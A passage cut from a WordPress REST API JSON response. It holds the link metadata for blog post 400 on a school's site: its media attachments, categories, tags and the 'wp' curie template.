400"}],"wp:attachment":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/media?parent=400"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/categories?post=400"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/tags?post=400"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}